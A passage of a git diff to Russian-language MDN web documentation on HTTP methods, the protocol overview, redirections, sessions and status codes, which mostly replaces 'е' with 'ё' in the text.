("percent encoded")}}: это причина, по которой этот тип не подходит для использования с двоичными данными (вместо этого используйте <code>multipart/form-data</code>)</span></li> <li><code><span title="multipart/form-data">multipart/form-data</span></code>: каждое значение посылается как блок данных ("body part"), с заданными пользовательским клиентом разделителем ("boundary"), разделяющим каждую часть. Эти ключи даются в заголовки <code>Content-Disposition</code> каждой части</li> <li><code><span title="text/plain">text/plain</span></code></li> </ul> diff --git a/files/ru/web/http/methods/put/index.html b/files/ru/web/http/methods/put/index.html index c759172730..60a1d0df58 100644 --- a/files/ru/web/http/methods/put/index.html +++ b/files/ru/web/http/methods/put/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTTP/Methods/PUT --- <div>{{HTTPSidebar}}</div> -<div><strong>Метод запроса HTTP PUT</strong> создает новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.</div> +<div><strong>Метод запроса HTTP PUT</strong> создаёт новый ресурс или заменяет представление целевого ресурса, данными представленными в теле запроса.</div> <div></div> @@ -63,7 +63,7 @@ Content-length: 16 <h3 id="Ответ">Ответ</h3> -<p>Если целевой ресурс не содержит отправляемой сущности и <code>PUT</code> запрос создает ее, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (<code>Created</code>).</p> +<p>Если целевой ресурс не содержит отправляемой сущности и <code>PUT</code> запрос создаёт её, то сервер должен проинформировать клиентское приложение о создании, отправив в ответ {{HTTPStatus("201")}} (<code>Created</code>).</p> <pre class="newpage">HTTP/1.1 201 Created Content-Location: /new.html diff --git a/files/ru/web/http/overview/index.html b/files/ru/web/http/overview/index.html index e4b79afce4..28144e2bc7 100644 --- a/files/ru/web/http/overview/index.html +++ b/files/ru/web/http/overview/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTTP/Overview <p>Клиенты и серверы взаимодействуют, обмениваясь одиночными сообщениями (а не потоком данных). Сообщения, отправленные клиентом, обычно веб-браузером, называются <em>запросами</em>, а сообщения, отправленные сервером, называются <em>ответами</em>.</p> -<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Хотя HTTP был разработан еще в начале 1990-х годов, за счет своей расширяемости в дальнейшем он все время совершенствовался. HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надежный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).</p> +<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Хотя HTTP был разработан ещё в начале 1990-х годов, за счёт своей расширяемости в дальнейшем он все время совершенствовался. HTTP является протоколом прикладного уровня, который чаще всего использует возможности другого протокола - {{glossary("TCP")}} (или {{glossary("TLS")}} - защищённый TCP) - для пересылки своих сообщений, однако любой другой надёжный транспортный протокол теоретически может быть использован для доставки таких сообщений. Благодаря своей расширяемости, он используется не только для получения клиентом гипертекстовых документов, изображений и видео, но и для передачи содержимого серверам, например, с помощью HTML-форм. HTTP также может быть использован для получения только частей документа с целью обновления веб-страницы по запросу (например посредством AJAX запроса).</p> <h2 id="Составляющие_систем_основанных_на_HTTP">Составляющие систем, основанных на HTTP</h2> @@ -60,23 +60,23 @@ translation_of: Web/HTTP/Overview <h3 id="HTTP_-_прост">HTTP - прост</h3> -<p>Даже с большей сложностью, введенной в HTTP/2 путем инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более легкое тестирование разработчиков и уменьшенную сложность для новых пользователей.</p> +<p>Даже с большей сложностью, введённой в HTTP/2 путём инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более лёгкое тестирование разработчиков и уменьшенную сложность для новых пользователей.</p> <h3 id="HTTP_-_расширяемый">HTTP - расширяемый</h3> -<p>Введенные в HTTP/1.0 <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки</a> сделали этот протокол легким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.</p> +<p>Введённые в HTTP/1.0 <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки</a> сделали этот протокол лёгким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.</p> <h3 id="HTTP_не_имеет_состояния_но_имеет_сессию">HTTP не имеет состояния, но имеет сессию</h3> -<p>HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определенной страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.</p> +<p>HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определённой страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.</p> <h3 id="HTTP_и_соединения">HTTP и соединения</h3> -<p>Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях, требуя только <em>надёжность</em>, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространенных транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.</p> +<p>Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях, требуя только <em>надёжность</em>, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространённых транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.</p> -<p>HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: <em>теплые</em> соединения более эффективны, чем <em>холодные</em>.</p> +<p>HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: <em>тёплые</em> соединения более эффективны, чем <em>холодные</em>.</p> -<p>Для смягчения этих недостатков, HTTP/1.1 предоставил конвейерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение теплым и более эффективным.</p> +<p>Для смягчения этих недостатков, HTTP/1.1 предоставил конвейерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение тёплым и более эффективным.</p> <p>Проводятся эксперименты по разработке лучшего транспортного протокола, более подходящего для HTTP. Например, Google экспериментирует с <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, которая основана на UDP, для предоставления более надёжного и эффективного транспортного протокола.</p> @@ -96,7 +96,7 @@ translation_of: Web/HTTP/Overview <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Прокси и туннелирование</a></em><br> Серверы и/или клиенты часто располагаются в интернете, и скрывают свои истинные IP-адреса от других. HTTP запросы идут через прокси для пересечения этого сетевого барьера. Не все прокси -- HTTP прокси. SOCKS-протокол, например, оперирует на более низком уровне. Другие, как, например, ftp, могут быть обработаны этими прокси.</li> <li><em>Сессии</em><br> - Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создает сессию, хотя ядро HTTP -- протокол без состояния. Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.</li> + Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создаёт сессию, хотя ядро HTTP -- протокол без состояния. Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.</li> </ul> <h2 id="HTTP_поток">HTTP поток</h2> @@ -125,13 +125,13 @@ Content-Type: text/html <li>Закрывает или переиспользует соединение для дальнейших запросов.</li> </ol> -<p>Если активирован HTTP-конвейер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвейер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями. HTTP-конвейер был заменен в HTTP/2 на более надежные мультиплексные запросы во фрейме.</p> +<p>Если активирован HTTP-конвейер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвейер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями. HTTP-конвейер был заменён в HTTP/2 на более надёжные мультиплексные запросы во фрейме.</p> <h2 id="HTTP_сообщения">HTTP сообщения</h2> <p>HTTP/1.1 и более ранние HTTP сообщения человеко-читаемы. В версии HTTP/2 эти сообщения встроены в новую бинарную структуру, фрейм, позволяющий оптимизации, такие как компрессия заголовков и мультиплексирование. Даже если часть оригинального HTTP сообщения отправлена в этой версии HTTP, семантика каждого сообщения не изменяется и клиент воссоздаёт (виртуально) оригинальный HTTP-запрос. Это также полезно для понимания HTTP/2 сообщений в формате HTTP/1.1.</p> -<p>Существует два типа HTTP сообщений, запросы и ответы, каждый в своем формате.</p> +<p>Существует два типа HTTP сообщений, запросы и ответы, каждый в своём формате.</p> <h3 id="Запросы">Запросы</h3> @@ -167,6 +167,6 @@ Content-Type: text/html <h2 id="Вывод">Вывод</h2> -<p>HTTP -- легкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.</p> +<p>HTTP -- лёгкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.</p> -<p>Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионный поток остается простым, позволяя исследовать и отлаживать с простым <a href="/en-US/docs/Tools/Network_Monitor">монитором HTTP-сообщений</a>.</p> +<p>Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионный поток остаётся простым, позволяя исследовать и отлаживать с простым <a href="/en-US/docs/Tools/Network_Monitor">монитором HTTP-сообщений</a>.</p> diff --git a/files/ru/web/http/redirections/index.html b/files/ru/web/http/redirections/index.html index aa1a214099..24d77f80f5 100644 --- a/files/ru/web/http/redirections/index.html +++ b/files/ru/web/http/redirections/index.html @@ -53,7 +53,7 @@ translation_of: Web/HTTP/Redirections <h3 id="Временные_перенаправления">Временные перенаправления</h3> -<p>Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определенного места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.</p> +<p>Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определённого места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.</p> <table class="standard-table"> <thead> @@ -111,18 +111,18 @@ translation_of: Web/HTTP/Redirections <tr> <td><code>304</code></td> <td><code>Not Modified</code></td> - <td>Обновление кеша: означает, что значение кеша все еще актуально и может быть использовано.</td> + <td>Обновление кеша: означает, что значение кеша все ещё актуально и может быть использовано.</td> </tr> </tbody> </table> <h2 id="Альтернативные_способы_указания_перенаправлений">Альтернативные способы указания перенаправлений</h2> -<p>HTTP перенаправления это не единственный способ переадресации. Есть еще два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p> +<p>HTTP перенаправления это не единственный способ переадресации. Есть ещё два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p> <h3 id="HTML_перенаправления">HTML перенаправления</h3> -<p>HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его. Для таких особых случаев, разработчики могут создать HTML страницу с элементом {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение <code>refresh</code> в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдет этот элемент и перейдет на указанную страницу.</p> +<p>HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его. Для таких особых случаев, разработчики могут создать HTML страницу с элементом {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение <code>refresh</code> в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдёт этот элемент и перейдёт на указанную страницу.</p> <pre class="brush: html"><head> <meta http-equiv="refresh" content="0; URL=http://www.example.com/" /> @@ -143,14 +143,14 @@ translation_of: Web/HTTP/Redirections <pre class="brush: js">window.location = "http://www.example.com/";</pre> -<p>Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определенное условие.</p> +<p>Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определённое условие.</p> <h3 id="Приоритетность">Приоритетность</h3> -<p>При использовании трех возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применен первым? Порядок приоритетов следующий:</p> +<p>При использовании трёх возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применён первым? Порядок приоритетов следующий:</p> <ol> - <li>HTTP перенаправления всегда выполняются первыми, пока еще страница даже не была передана, и конечно же, пока еще не прочитана.</li> + <li>HTTP перенаправления всегда выполняются первыми, пока ещё страница даже не была передана, и конечно же, пока ещё не прочитана.</li> <li>HTML перенаправления ({{HTMLElement("meta")}}) выполняются только, если перенаправление не было в выполнено в HTTP.</li> <li>JavaScript перенаправления используются как последняя возможность перенаправления, и работают только если разрешено выполнение JavaScript на клиентской стороне.</li> </ol> @@ -168,14 +168,14 @@ translation_of: Web/HTTP/Redirections <p>Связывание доменов может быть необходимым по нескольким причинам:</p> <ul> - <li>Расширение вашего сайта. Распространенный случай, когда ваш сайт находится под доменом <code>www.example.com</code> , а доступ к страницам должен быть возможным также из <code>example.com</code> . В этом случае создаются перенаправления для страниц из <code>example.com</code> к страницам <code>www.example.com</code>. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.</li> + <li>Расширение вашего сайта. Распространённый случай, когда ваш сайт находится под доменом <code>www.example.com</code> , а доступ к страницам должен быть возможным также из <code>example.com</code> . В этом случае создаются перенаправления для страниц из <code>example.com</code> к страницам <code>www.example.com</code>. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.</li> <li>Переезд на другой домен. К примеру, ваша компания была переименована и вы хотите чтобы люди которые обычно использовали старый сайт компании находили вас под новым именем.</li> - <li>Принужденный HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.</li> + <li>Принуждённый HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.</li> </ul> <h3 id="Сохранения_ссылок_рабочими">Сохранения ссылок рабочими</h3> -<p>Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имен, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.</p> +<p>Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имён, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.</p> <div class="note"> <p>Не смотря на то, что данный метод работает также для внутренних ссылок, вы должны избегать внутренних перенаправлений. Перенаправления имеют большое влияние на производительность, и если вы имеете возможность избежать их, корректируя внутренние ссылки, тогда делайте так.</p> @@ -185,7 +185,7 @@ translation_of: Web/HTTP/Redirections <p>{{Glossary("safe", "Небезопасные")}} запросы изменяют состояние сервера и пользователь не должен не нарочно запросить их. Обычно, вы не хотите чтобы ваши пользователи повторно отправляли {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} или {{HTTPMethod("DELETE")}} запросы. Если вы только обслуживаете запросы, простое нажатие кнопки перезагрузки повторно отправит запрос. </p> -<p>В этом случае, сервер вернет ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.</p> +<p>В этом случае, сервер вернёт ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.</p> <h3 id="Временные_ответы_на_долгие_запросы">Временные ответы на долгие запросы</h3> @@ -223,7 +223,7 @@ Redirect 301 / http://www.example.com <h3 id="Nginx">Nginx</h3> -<p>В Nginx, вы создаете особый серверный блок для контента, который вы хотите перенаправлять:</p> +<p>В Nginx, вы создаёте особый серверный блок для контента, который вы хотите перенаправлять:</p> <pre>server { listen 80; @@ -243,7 +243,7 @@ rewrite ^/images/(.*)$ http://images.example.com/$1 permanent; <h2 id="Циклы_перенаправлений">Циклы перенаправлений</h2> -<p>Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счете ни одна страница не будет найдена.</p> +<p>Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счёте ни одна страница не будет найдена.</p> <p>В большинстве случаев это проблема сервера, и если сервер не может обнаружить её, то отправит код статуса {{HTTPStatus("500")}} <code>Internal Server Error</code>. Если вы встретите такую ошибку вскоре после редактирования настроек сервера, то это скорее всего цикл перенаправлений.</p> diff --git a/files/ru/web/http/session/index.html b/files/ru/web/http/session/index.html index a8a53f9090..1b94555603 100644 --- a/files/ru/web/http/session/index.html +++ b/files/ru/web/http/session/index.html @@ -27,7 +27,7 @@ translation_of: Web/HTTP/Session <h2 id="Отправка_запроса_клиента">Отправка запроса клиента</h2> -<p>Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделенные между собой при помощи CRLF (переноса строки). Сам запрос включает в себя три блока:</p> +<p>Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделённые между собой при помощи CRLF (переноса строки). Сам запрос включает в себя три блока:</p> <ol> <li>Первые строки содержат метод запроса и его параметры: @@ -36,7 +36,7 @@ translation_of: Web/HTTP/Session <li>версию HTTP протокола </li> </ul> </li> - <li>Каждая последующая строка представляет собой HTTP заголовок и передает серверу некоторую информацию о типах предпочитаемых данных (например, какой язык , какие MIME типы) или инструкции меняющие поведение сервера (например, не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.</li> + <li>Каждая последующая строка представляет собой HTTP заголовок и передаёт серверу некоторую информацию о типах предпочитаемых данных (например, какой язык , какие MIME типы) или инструкции меняющие поведение сервера (например, не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.</li> <li>Последний блок является не обязательным и содержит дополнительные данные. По большей части используется методом POST.</li> </ol> @@ -63,16 +63,16 @@ name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue</pre> <h3 id="Методы_запроса">Методы запроса</h3> -<p>HTTP определяет набор <a href="/en-US/docs/Web/HTTP/Methods">методов запроса</a> с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространенные запросы <code>GET</code> и <code>POST</code>:</p> +<p>HTTP определяет набор <a href="/en-US/docs/Web/HTTP/Methods">методов запроса</a> с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространённые запросы <code>GET</code> и <code>POST</code>:</p> <ul> <li>{{HTTPMethod("GET")}} используется для запроса содержимого указанного ресурса. Запрос с использованием <code>GET</code> должен только получать данные.</li> - <li>{{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять свое состояние. Этот метод часто используется для <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форм</a>.</li> + <li>{{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять своё состояние. Этот метод часто используется для <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форм</a>.</li> </ul> <h2 id="Структура_ответа_от_сервера">Структура ответа от сервера</h2> -<p>После того как присоединенный агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделенные между собой CRLF, сгруппированные в три разных блока:</p> +<p>После того как присоединённый агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделённые между собой CRLF, сгруппированные в три разных блока:</p> <ol> <li>Первая строка — строка статуса, состоит из подтверждения используемой HTTP версии и статуса запроса (и его значения в виде, понятном человеку).</li> @@ -97,7 +97,7 @@ Content-Type: text/html </pre> -<p>Сообщение о том, что запрашиваемый ресурс был перемещен:</p> +<p>Сообщение о том, что запрашиваемый ресурс был перемещён:</p> <pre>HTTP/1.1 301 Moved Permanently Server: Apache/2.2.3 (Red Hat) @@ -140,7 +140,7 @@ Content-Type: text/html <h3 id="Коды_статусов_ответа">Коды статусов ответа</h3> -<p><a href="/ru/docs/Web/HTTP/Status">HTTP-коды ответов</a> показывают, выполнен ли успешно определенный HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.</p> +<p><a href="/ru/docs/Web/HTTP/Status">HTTP-коды ответов</a> показывают, выполнен ли успешно определённый HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.</p> <ul> <li>{{HTTPStatus(200)}}: OK. Запрос завершился успехом.</li> diff --git a/files/ru/web/http/status/100/index.html b/files/ru/web/http/status/100/index.html index 5e9b4a15b7..d96b80e56e 100644 --- a/files/ru/web/http/status/100/index.html +++ b/files/ru/web/http/status/100/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/100 <p> Код ответа "HTTP <strong><code>100 Continue"</code></strong> на информационный статус указывает, что все до сих пор в порядке и что клиент должен продолжить запрос или игнорировать его, если он уже завершен.</p> -<p>Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}<code>:100-continue</code> в качестве заголовка в своем первоначальном запросе и получить код состояния <code>100-continue </code>в ответ перед отправкой тела.</p> +<p>Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}<code>:100-continue</code> в качестве заголовка в своём первоначальном запросе и получить код состояния <code>100-continue </code>в ответ перед отправкой тела.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/200/index.html b/files/ru/web/http/status/200/index.html index bd1f64e5e5..ae8a98f91b 100644 --- a/files/ru/web/http/status/200/index.html +++ b/files/ru/web/http/status/200/index.html @@ -10,9 +10,9 @@ translation_of: Web/HTTP/Status/200 <p>Значение успеха зависит от метода <em>HTTP-</em>запроса:</p> <ul> - <li>{{HTTPMethod("GET")}}: <span class="short_text" id="result_box" lang="ru"><span>Ресурс был извлечен и передан в теле сообщения.</span></span></li> + <li>{{HTTPMethod("GET")}}: <span class="short_text" id="result_box" lang="ru"><span>Ресурс был извлечён и передан в теле сообщения.</span></span></li> <li>{{HTTPMethod("HEAD")}}: <span class="short_text" id="result_box" lang="ru"><span>Заголовки объектов находятся в теле сообщения.</span></span></li> - <li>{{HTTPMethod("POST")}}: <span id="result_box" lang="ru"><span>Ресурс, описывающий результат действия, передается в теле сообщения.</span></span></li> + <li>{{HTTPMethod("POST")}}: <span id="result_box" lang="ru"><span>Ресурс, описывающий результат действия, передаётся в теле сообщения.</span></span></li> <li>{{HTTPMethod("TRACE")}}:<span id="result_box" lang="ru"><span>Тело сообщения содержит сообщение запроса, полученное сервером.</span></span></li> </ul> diff --git a/files/ru/web/http/status/201/index.html b/files/ru/web/http/status/201/index.html index 9bb49c0dfc..9d55a9eb3b 100644 --- a/files/ru/web/http/status/201/index.html +++ b/files/ru/web/http/status/201/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/201 <div> <p>{{HTTPSidebar}}</p> -<p>HTTP <strong><code>201 Created</code></strong> Код ответа об успешном статусе указывает, что запрос выполнен успешно и привел к созданию ресурса. Новый ресурс эффективно создается до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка <code><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Location" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">Location</a>.</code></p> +<p>HTTP <strong><code>201 Created</code></strong> Код ответа об успешном статусе указывает, что запрос выполнен успешно и привёл к созданию ресурса. Новый ресурс эффективно создаётся до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка <code><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Location" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">Location</a>.</code></p> <p>Общим случаем использования этого кода состояния является результат <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Methods/POST" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>POST</code></a> запроса.</p> </div> diff --git a/files/ru/web/http/status/202/index.html b/files/ru/web/http/status/202/index.html index ac2d42a884..4acbea6708 100644 --- a/files/ru/web/http/status/202/index.html +++ b/files/ru/web/http/status/202/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/202 --- <div>{{HTTPSidebar}}</div> -<p>Код состояния ответа "<em>The HTTP</em> <code><strong>202</strong></code><strong><code> Accepted" </code></strong>указывает, что запрос получен, но еще не обработан. Это не является обязательным, что означает, что в <em>HTTP</em> невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.</p> +<p>Код состояния ответа "<em>The HTTP</em> <code><strong>202</strong></code><strong><code> Accepted" </code></strong>указывает, что запрос получен, но ещё не обработан. Это не является обязательным, что означает, что в <em>HTTP</em> невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/203/index.html b/files/ru/web/http/status/203/index.html index aabd4310ac..4d184c15ce 100644 --- a/files/ru/web/http/status/203/index.html +++ b/files/ru/web/http/status/203/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/203 --- <div>{{HTTPSidebar}}</div> -<p>"The HTTP <strong><code>203 Non-Authoritative Information" </code></strong>Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учетом ответа сервера{{HTTPStatus("200")}} (<code>OK</code>) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.</p> +<p>"The HTTP <strong><code>203 Non-Authoritative Information" </code></strong>Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учётом ответа сервера{{HTTPStatus("200")}} (<code>OK</code>) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.</p> <p>"The <code>203"</code> ответ аналогичен значению <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>, значение "<code>Transformation Applied"</code>, кода {{HTTPHeader("Warning")}} имеет дополнительное преимущество, применимое к ответам с любым кодом состояния.</p> diff --git a/files/ru/web/http/status/204/index.html 